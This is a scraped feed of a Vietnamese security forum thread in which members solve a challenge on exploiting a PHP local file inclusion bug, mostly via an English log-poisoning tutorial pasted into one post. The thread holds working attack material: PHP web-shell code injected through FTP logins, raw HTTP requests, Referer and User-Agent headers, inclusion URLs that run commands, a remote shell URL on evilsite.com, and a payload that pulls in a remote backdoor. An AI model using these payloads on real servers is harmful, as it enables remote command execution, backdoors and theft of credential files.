<![CDATA[Latest posts for the topic "[Thảo luận] Khai thác lỗi này như thế nào ?!"]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net [Thảo luận] Khai thác lỗi này như thế nào ?! local inclusion. Code ví dụ cùa web app đó: Code:
<?php
…
include(“/home/hostings/webs/victim.net/htdocs/web/”.$_GET[‘html’]);
…
?>
Điều kiện hiện tại: website sử dụng Apache (cứ cho là) cài đặt mặc định (tức ko thay đổi các thiết lập về đường dẫn, config file, log file.v.v.), PHP4, Safemode OFF và attacker không được phép đưa bất cứ thứ gì lên website đó. Thảo luận: Làm thế nào để "hack" website đấy. Xin chú ý: đọc kĩ phần điều kiện, lời giải nằm trong đó. ]]> /hvaonline/posts/list/12888.html#76069 /hvaonline/posts/list/12888.html#76069 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

Quan Vân Trường wrote:
... Điều kiện hiện tại: website sử dụng Apache (cứ cho là) cài đặt mặc định (tức ko thay đổi các thiết lập về đường dẫn, config file, log file.v.v.), PHP4, Safemode OFF và attacker không được phép đưa bất cứ thứ gì lên website đó. ... 
Apache cho *nix hay Windows em? Vì chúng khác nhau.]]> /hvaonline/posts/list/12888.html#76151 /hvaonline/posts/list/12888.html#76151 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76153 /hvaonline/posts/list/12888.html#76153 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76197 /hvaonline/posts/list/12888.html#76197 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76201 /hvaonline/posts/list/12888.html#76201 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76204 /hvaonline/posts/list/12888.html#76204 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76369 /hvaonline/posts/list/12888.html#76369 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

Quan Vân Trường wrote:
.. hình như ko anh nào hứng thú với chủ đề này :(.. View count hơn 80 rồi mà chẳng dc mấy người tham gia :(.. 
Sao lại không ??? thì cũng đang theo dõi ấy mà ..hehe :D). Để xem mọi người thảo luận sao rồi mình còn bắt trước ...hehe.. mà tại sao gamma95 lại không được tham gia nhễ. :?:) . Bác gamma95 có gì hay thì cứ post lên cho anh em tham khảo cũng được mà ..]]> /hvaonline/posts/list/12888.html#76418 /hvaonline/posts/list/12888.html#76418 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

Quan Vân Trường wrote:
.. hình như ko anh nào hứng thú với chủ đề này :(.. View count hơn 80 rồi mà chẳng dc mấy người tham gia :(.. 
:lol:) vẫn theo dõi mà ,nhưng đề bài ra hơi khó nên đợi các cáo kiến để xem :lol:) ]]> /hvaonline/posts/list/12888.html#76441 /hvaonline/posts/list/12888.html#76441 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76462 /hvaonline/posts/list/12888.html#76462 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#76752 /hvaonline/posts/list/12888.html#76752 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

nora wrote:
site.com/?html=http://evilsite.com/shell.txt  
Đề bài ở đây là "local inclusion" nora ơi :)) ..]]> /hvaonline/posts/list/12888.html#76924 /hvaonline/posts/list/12888.html#76924 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77022 /hvaonline/posts/list/12888.html#77022 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77096 /hvaonline/posts/list/12888.html#77096 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

Quan Vân Trường wrote:
@ anh pnco: Chính xác. Tiếp tục đi anh :D. Khai thác thế nào nữa đây ạh.. (P/S: tới giờ mới biết cái này kêu là "HTTP Request Smuggling". Hì hì :P)..) 
:)), có lẽ em nên hé mở thêm một tí (ví dụ, apache phiên bản từ xyz nào đó, ở chế độ mặc định không kiểm soát dữ liệu trên HTTP header abc nào đó....) :)).]]> /hvaonline/posts/list/12888.html#77271 /hvaonline/posts/list/12888.html#77271 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! Code:
<?php
…
include(“/home/hostings/webs/victim.net/htdocs/web/”.$_GET[‘html’]);
…
?>
@ anh conmale: Dạ, Apache 1.x trở đi, ở đây cho là Apache 2 lun :mrgreen: . Ở phần điều kiện em có ghi là "cài đặt mặc định" tức "không kiểm soát dữ liệu trên HTTP header abc nào đó" lun đó anh :)) ..]]> /hvaonline/posts/list/12888.html#77273 /hvaonline/posts/list/12888.html#77273 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77421 /hvaonline/posts/list/12888.html#77421 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77441 /hvaonline/posts/list/12888.html#77441 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

gsmth wrote:
...nếu log file là symlink của /dev/null thì sao. 
Hì hì, đã nói là "cài đặt mặc định" rồi mà.]]> /hvaonline/posts/list/12888.html#77443 /hvaonline/posts/list/12888.html#77443 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77451 /hvaonline/posts/list/12888.html#77451 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77657 /hvaonline/posts/list/12888.html#77657 GMT Re: [Thảo luận] Khai thác lỗi này như thế nào ?! Embedding PHP Code into Log Files Suppose that there is a vulnerability of the local PHP source code injection type on a server. Note that the attacker doesn't need to create a new file. He or she can just edit an existing one so that it contains some PHP code. This brings up the question: Which files on the server can a remote user change? You might think that a user without access to the server couldn't change any files. However, remember that the server can log certain events, and what data will be written into the log files depends on the user to some extent. Consider an example. Suppose that the attacker has investigated the internals of the server using the local PHP source code injection vulnerability. He or she cannot upload a file with malicious PHP code to the server but can obtain the contents of files on the server. The attacker is likely to analyze the server settings that have the same names in different systems (e.g., /etc/passwd). In addition, the attacker is likely to try to find the server configuration file that contains much interesting information. To obtain unauthorized access to directories protected with passwords, the attacker will try to read configuration files that specify how the directories can be accessed. In the Apache server, these files usually have the .htaccess name. These files can contain the path to the file with passwords. The attacker can read this file using the vulnerability. Having obtained the contents of the file, he or she can try to find the passwords. As a rule, such files contain password hashes, rather than the passwords. Although recovering a password from its hash is a complicated problem, it is a matter of time and computational resources to solve it. An access procedure can also be contained in the server configuration files. In the Apache server, this file is called HTTPD.CONF. It can be located in various directories, such as the following: /ETC/HTTPD.CONF /ETC/CONF/HTTPD.CONF /ETC/APACHE/CONF/HTTPD.CONF /USR/LOCAL/ETC/APACHE/CONF/HTTPD.CONF /USR/LOCAL/CONF/HTTPD.CONF In rare cases, the file can have a name other than HTTPD.CONF. The attacker is likely to try reading the contents of system log files. In particular, he or she can be interested in the following files: /VAR/LOG/MESSAGES /VAR/LOG/HTTPD-ACCESS.CONF /VAR/LOG/HTTPD-ERROR.LOG /VAR/LOG/MAILLOG /VAR/LOG/SECURITY These are files in Unix-like operating systems. Suppose that the attacker noticed that the /VAR/LOG/MESSAGES file is updated daily and has a small size. He or she will analyze, which events are logged in the file. He or she will also analyze other log files available for reading to the user who started the server. A common situation is authorization errors are logged in the /VAR/LOG/MESSAGES file and some other log files. Suppose that the hacker noticed the following lines in the /VAR/LOG/MESSAGES file: Sep 1 00:00:00 server ftpd[12345]: user "anonymous" access denied Sep 1 00:00:10 server ftpd[12345]: user "vasya" access denied Sep 1 00:00:20 server ftpd[12345]: user "test" access denied This means that messages containing FTP server authorization errors are written into this file. Then the attacker will check which characters can be specified in a login. He or she will connect to the server's FTP port and try to authorize using logins with various characters. A dialog between the attacker and the FTP server could be like this: $ telnet ftp.test.ru 21 Trying 127.0.0.1... Connected to ftp.test.ru. Escape character is '^]'. 220 ftp.test.ru FTP server ready. USER anonymous 331 Password required for anonymous. PASS test 530 Login incorrect. USER test'test' 331 Password required for test'test'. PASS test 530 Login incorrect. USER test test 331 Password required for test test. PASS test 530 Login incorrect. USER <hello> 331 Password required for <hello>. PASS test 530 Login incorrect. USER test? $test 331 Password required for test? $test. PASS test 530 Login incorrect. QUIT 221 Goodbye. In certain FTP server implementations with certain FTP server settings, the /VAR/LOG/MESSAGES file could contain the following lines after this session: Sep 1 00:01:00 server ftpd[12345]: user "anonymous" access denied Sep 1 00:01:10 server ftpd[12345]: user "test'test'" access denied Sep 1 00:01:20 server ftpd[12345]: user "test test" access denied Sep 1 00:01:30 server ftpd[12345]: user "<hello>" access denied Sep 1 00:01:40 server ftpd[12345]: user "test? $test" access denied As you can see, the logins are written to the log file as they are. The hacker can embed PHP shell code into the /VAR/LOG/MESSAGES file using the following dialog with the FTP server: $ telnet ftp.test.ru 21 Trying 127.0.0.1... Connected to ftp.test.ru. Escape character is '^]'. 220 ftp.test.ru FTP server ready. USER <? system(stripslashes($_GET['cmd'])); ?> 331 Password required for <? system(stripslashes($_GET['cmd'])); ?>. PASS test 530 Login incorrect. QUIT 221 Goodbye. As a result, the following data will be logged in /var/log/messages: Sep 1 00:01:40 server ftpd[12345]: user "<? system(stripslashes($_GET['cmd'])); ?>" access denied The attacker just needs to exploit the local PHP source code injection vulnerability using a request like this: http://test/test.php?page=./../../../../../var/log/messages%00&cmd=ls+-la Thus, an attacker can execute any command on a vulnerable server. Note that a similar request was used earlier to obtain the contents of files that didn't contain PHP code. Now, I'd like to describe another method for embedding PHP code into log files to exploit the vulnerability by including and executing the files. Try to include some code into Apache log files. This task is more difficult than embedding code into FTP server log files because the browser by default will URL-encode certain characters, such as a question mark and a space. A simple example demonstrates that spaces aren't necessary when writing PHP shell code: <?system(stripslashes($cmd));?> This is correct PHP code although it contains no spaces. However, other URL-encoded characters are still required. These are <, >, $, (, ), and ?. In addition, you may need quotation marks or apostrophes. What if you don't stick to the standard and try to create a request so that the characters you need aren't URL-encoded? To do this, you can use the program making any requests, which was described earlier, or create the request manually by connecting to the HTTP server port. GET /?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1 Accept: */*. Accept-Language: en-us. Accept-Encoding: deflate. User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) Host: www.test.ru Connection: Close Referer: http://www.localhost.ru/ Apache, one of the most popular Web servers, will log the following line: 127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET /?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1" 200 2393 " http://www.localhost.ru/" " Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)" As you can see, this line contains correct PHP code that can be executed by the PHP interpreter: <?system(stripslashes($_GET['cmd']));?> Suppose the log file that contains successful requests is the following: /VAR/LOG/HTTPD-ACCESS.LOG. To exploit the include(".. /data/$id.html") vulnerability, the attacker would send a request that could include the log file to execute the PHP shell code that executes any system command. The request should be like this: http://test/test.php?page=./../../../../../var/log/httpd-access.log%00&cmd=ls+-la Consider another example of embedding PHP shell code into values of the HTTP Referer header: GET / HTTP/1.1 Accept: */*. Accept-Language: en-us. Accept-Encoding: deflate. User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) Host: www.test.ru Connection: Close Referer: http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?> In this case, the Apache server will write the PHP shell code into the Referer field. The /VAR/LOG/HTTPD-ACCESS. LOG file will contain the following: 127.0.0.1 - - [01/Sep/2004:14:00:00 +0000] " GET / HTTP/1.1" 200 2393 " http://www.localhost.ru/?<?system(stripslashes($_GET['cmd']));?>" " Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)" Writing PHP code into the Referer field is necessary when GET parameters are filtered on the server. For example, this is done when the mod_security module of Apache is used. Sometimes, it is impossible to embed PHP shell code into the Referer field. For example, if the value of this field is filtered or isn't logged, the attacker can try to embed code into the Agent field of an HTTP request. This field indicates the browser used on the client and, therefore, theoretically can contain any characters. An example of an HTTP request sending PHP shell code as a browser's name is the following: GET / HTTP/1.1 Accept: */*. Accept-Language: en-us. Accept-Encoding: deflate. User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0 <? system(stripslashes($_GET['cmd'])); ?>) Host: www.test.ru Connection: Close Referer: http://www.localhost.ru/ The PHP shell code will be there instead of the Agent field if the server logs the value of this field. If many sites are located on a hosting server, their log files often are individual and are not collected in one file. It is difficult for the attacker to guess the locations of these files. In addition, log files with error messages can be different for different Web sites, and their names are also difficult to guess. The attacker who can access the configuration file of the Web server can find the locations of these files. However, the Apache server writes certain error messages into the common error log file rather than into error log files of the sites. As a rule, this file is located at /VAR/LOG/HTTPD-ERROR.LOG; however, this isn't always the case. This file contains error messages that cannot be assigned to a particular host, for example, when the host name sent in the HOST header of an HTTP request isn't found among the names of the virtual hosts on the server. Here is an example of a request that results in writing the attacker's malicious data into the log file: GET /not-existent.html?<?system(stripslashes($_GET['cmd']));?> HTTP/1.1 Accept: */*. Accept-Language: en-us. Accept-Encoding: deflate. User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) Host: www.not-existent.ru Connection: Close Referer: http://www.localhost.ru/ The /VAR/LOG/HTTPD-ERROR. LOG file will contain the following lines: [Wed Sep 1 10:00:05 2004] [error] [client 127.0.0.1] File does not exist: /usr/local/www/not existent.html?<?system(stripslashes($_GET['cmd']));?> As you can see, there is PHP shell code in the log file. However, attempts to embed PHP code into a common error log file are rarely successful. The Apache server often discards GET parameters when adding records to the error log file (this depends on configuration). Even if you delete the question mark after the name of the nonexistent file, the following line will be written into the log file: [Wed Sep 1 10:00:05 2004] [error] [client 127.0.0.1] File does not exist: /usr/local/www/not-existent.html< This is because you have to leave the next question mark in the <? PHP tag. There can be a rare exception when the PHP interpreter is configured so that it can accept other types of tags, for example, <% %>. Note that the attacker would avoid embedding into log files a PHP code that is too complicated. If the embedded code contained an error, he or she wouldn't be able to delete it. At the same time, the error in the code would make it impossible to use the file for exploitation of the PHP source code injection. Therefore, the attacker would test, which characters are written into the log file, before he or she embedded PHP code. The attacker would need to check whether the question mark (?), the greater-than (>) and less-than (<) characters, the apostrophe ('), the quotation mark ("), the dollar sign ($), and the blank space are written into log files without substitution. Based on the results of this test, the attacker would write PHP code that didn't contain filtered characters. In addition, he or she would need to create a request to execute it only once. The methods for embedding PHP code into log files described here aren't universal. However, they demonstrate the danger of the local PHP source code injection vulnerability.  Mình hỏi tụi tây thì nó gợi ý vầy, đọc chẳng hiểu gì? :oops: ]]> /hvaonline/posts/list/12888.html#77662 /hvaonline/posts/list/12888.html#77662 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! Code:
?html=/home/hostings/webs/victim.net/logs/access_log
]]> /hvaonline/posts/list/12888.html#77676 /hvaonline/posts/list/12888.html#77676 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

gsmth wrote:
iem cũng chẳng hiểu gì, chỉ bổ sung đoạn trên cho phù hợp, là nếu dùng browser như Firefox thì chèn mã khai tác vào User Agent (được apache log lại trong /home/hostings/webs/victim.net/logs/access_log): about:config >> filter: general.useragent.extra.firefox. Khai thác lỗi: Code:
?html=/home/hostings/webs/victim.net/logs/access_log
 
đồng chí đang nói gì vậy?]]> /hvaonline/posts/list/12888.html#77684 /hvaonline/posts/list/12888.html#77684 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77690 /hvaonline/posts/list/12888.html#77690 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

gamma95 wrote:

gsmth wrote:
iem cũng chẳng hiểu gì, chỉ bổ sung đoạn trên cho phù hợp, là nếu dùng browser như Firefox thì chèn mã khai tác vào User Agent (được apache log lại trong /home/hostings/webs/victim.net/logs/access_log): about:config >> filter: general.useragent.extra.firefox. Khai thác lỗi: Code:
?html=/home/hostings/webs/victim.net/logs/access_log
 
đồng chí đang nói gì vậy? 
nói gì là nói gì? :-o) @pnco: đoạn dưới không bôi màu vàng là cho apache log mà. Edit: à, apache log thì log đủ thứ remote address, request uri, referer ko chỉ có user agent. việc dùng cái nào thì tùy mỗi người mà.]]> /hvaonline/posts/list/12888.html#77697 /hvaonline/posts/list/12888.html#77697 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77702 /hvaonline/posts/list/12888.html#77702 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77706 /hvaonline/posts/list/12888.html#77706 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! abcerrorac.ac.<?php include($remotefile); ?>xyztvdsvsdn   ) Không biết ngoài kịch bản này ra còn có gì nữa không nhỉ :) Anh em bàn luận hay quá :p]]> /hvaonline/posts/list/12888.html#77710 /hvaonline/posts/list/12888.html#77710 GMT [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#77733 /hvaonline/posts/list/12888.html#77733 GMT Re: [Thảo luận] Khai thác lỗi này như thế nào ?! Code:
http://localhost:80/<?echo('bad_code');?>
thì trong access.log đoạn url trên bị mã hóa: Code:
127.0.0.1 - - [20/Sep/2007:19:16:40 +0700] "GET /%3C?echo%20%20bad_code%20%20;%3F%3E HTTP/1.1" 403 1106
Còn nếu ta đưa thẳng vào HTTP request Code:
GET http://localhost:80/<?echo('bad_code');?>/ HTTP/1.1
Accept: */*.
Accept-Language: en-us.
Accept-Encoding: deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)
Host: localhost
Connection: Close
thì trong log lại ghi là Code:
127.0.0.1 - - [20/Sep/2007:19:12:29 +0700] "GET /<?echo('bad_code');?>/ HTTP/1.1" 403 1106
Như vậy là do trình duyệt sẽ mã hóa url khi gửi đi đúng không? Còn nữa, trong log file của tui không lưu lại User agent nên cách chỉnh general.useragent.extra.firefox trong about:config của gsmth không thể thực hiện được (tui dùng xampp trên Windows). Thậm chí khi chỉnh lại useragent bằng 1 đoạn code thì sau đó tui không thể vào được HVA, mặc dù các trang khác vẫn vào bình thường. HVA bảo mật ghê thật :) ]]> /hvaonline/posts/list/12888.html#86010 /hvaonline/posts/list/12888.html#86010 GMT Re: [Thảo luận] Khai thác lỗi này như thế nào ?!

nhuhoang wrote:
mọi người cho hỏi tí nhé. Nếu ta nhập code vào trình duyệt Code:
http://localhost:80/<?echo('bad_code');?>
thì trong access.log đoạn url trên bị mã hóa: Code:
127.0.0.1 - - [20/Sep/2007:19:16:40 +0700] "GET /%3C?echo%20%20bad_code%20%20;%3F%3E HTTP/1.1" 403 1106
Còn nếu ta đưa thẳng vào HTTP request Code:
GET http://localhost:80/<?echo('bad_code');?>/ HTTP/1.1
Accept: */*.
Accept-Language: en-us.
Accept-Encoding: deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)
Host: localhost
Connection: Close
thì trong log lại ghi là Code:
127.0.0.1 - - [20/Sep/2007:19:12:29 +0700] "GET /<?echo('bad_code');?>/ HTTP/1.1" 403 1106
Như vậy là do trình duyệt sẽ mã hóa url khi gửi đi đúng không? Còn nữa, trong log file của tui không lưu lại User agent nên cách chỉnh general.useragent.extra.firefox trong about:config của gsmth không thể thực hiện được (tui dùng xampp trên Windows). Thậm chí khi chỉnh lại useragent bằng 1 đoạn code thì sau đó tui không thể vào được HVA, mặc dù các trang khác vẫn vào bình thường. HVA bảo mật ghê thật :)  
Nếu đưa URL như trên vào thanh địa chỉ của trình duyệt thì nó được encode -1- ở dạng URLencode bởi vì (hầu hết) các trình duyệt hiện nay đều làm thế. Nếu đưa URL như trên vào telnet hay netcat hay công cụ tương tự, nó không được encode bởi vì đây là raw request. Thông tin gõ thế nào trên console (telnet hay netcat) thì nó đi đến web server y hệt như thế. Trên HVA, gần như mọi giá trị được đưa vào HTTP headers đều được kiểm tra và cản lọc. Đây là tính bảo mật. Tuy vậy, nó có cái giá của nó: chậm hơn các site không bảo mật ở mức độ này. Thân mến. -1-: từ encode không thể dịch thành mã hóa được bởi vì encode khác với encrypt (được dịch là mã hóa). Tôi chưa thấy từ này được dịch ra tiếng Việt. ]]> /hvaonline/posts/list/12888.html#86072 /hvaonline/posts/list/12888.html#86072 GMT Re: [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#91065 /hvaonline/posts/list/12888.html#91065 GMT Re: [Thảo luận] Khai thác lỗi này như thế nào ?!

ckj8899 wrote:
Nếu như nó là server riêng,thay đổi mấy cái mặt định thì sao hả mấy anh,chỉ em với  
Thay đổi mấy cái "mặt" định nào?]]> /hvaonline/posts/list/12888.html#91067 /hvaonline/posts/list/12888.html#91067 GMT Re: [Thảo luận] Khai thác lỗi này như thế nào ?! /hvaonline/posts/list/12888.html#92272 /hvaonline/posts/list/12888.html#92272 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

gamma95 wrote:
thực ra đề bài QVT cho là thừa dữ kiện, và cái ?html=/home/hostings/webs/victim.net/logs/access_log của đống chí gsmth có cách nào đơn giản hơn ko ?? và cách inject code backdoor vào, có cách nào inject khôn hơn tụi tây kia nói ko?? 
Có cách nào đơn giản hơn thì em hem bik :D
và cách inject code backdoor vào, có cách nào inject khôn hơn tụi tây kia nói ko?? 
Còn cái này thì em nghĩ là : <? include ('http://link/backdoor.php'); /* ?> or ? include ('$xxx'); /* ?> ! ít nhất thì cũng hay hơn bọn tây kia inject :D ==> ?html=/home/hostings/webs/victim.net/logs/access_log?xxx=[link] <--- loại được các cái thừa ko cần đến mà log ghi lại !]]> /hvaonline/posts/list/12888.html#149782 /hvaonline/posts/list/12888.html#149782 GMT [Thảo luận] Khai thác lỗi này như thế nào ?!

flier_vn wrote:

gamma95 wrote:
thực ra đề bài QVT cho là thừa dữ kiện, và cái ?html=/home/hostings/webs/victim.net/logs/access_log của đống chí gsmth có cách nào đơn giản hơn ko ?? và cách inject code backdoor vào, có cách nào inject khôn hơn tụi tây kia nói ko?? 
Có cách nào đơn giản hơn thì em hem bik :D
và cách inject code backdoor vào, có cách nào inject khôn hơn tụi tây kia nói ko?? 
Còn cái này thì em nghĩ là : <? include ('http://link/backdoor.php'); /* ?> or ? include ('$xxx'); /* ?> ! ít nhất thì cũng hay hơn bọn tây kia inject :D ==> ?html=/home/hostings/webs/victim.net/logs/access_log?xxx=[link] <--- loại được các cái thừa ko cần đến mà log ghi lại ! 
allow_url_include = off allow_url_fopen = off thì sao hả bạn :D Backdoor phải là .txt chứ sao lại là PHP :P]]> /hvaonline/posts/list/12888.html#203613 /hvaonline/posts/list/12888.html#203613 GMT Khai thác lỗi này như thế nào ?!

Archimonde wrote:
allow_url_include = off allow_url_fopen = off thì sao hả bạn :D Backdoor phải là .txt chứ sao lại là PHP :P 
Đây là local file inclusion mà bồ, có phải là RFI đâu mà url include ở đây :| .]]> /hvaonline/posts/list/12888.html#203628 /hvaonline/posts/list/12888.html#203628 GMT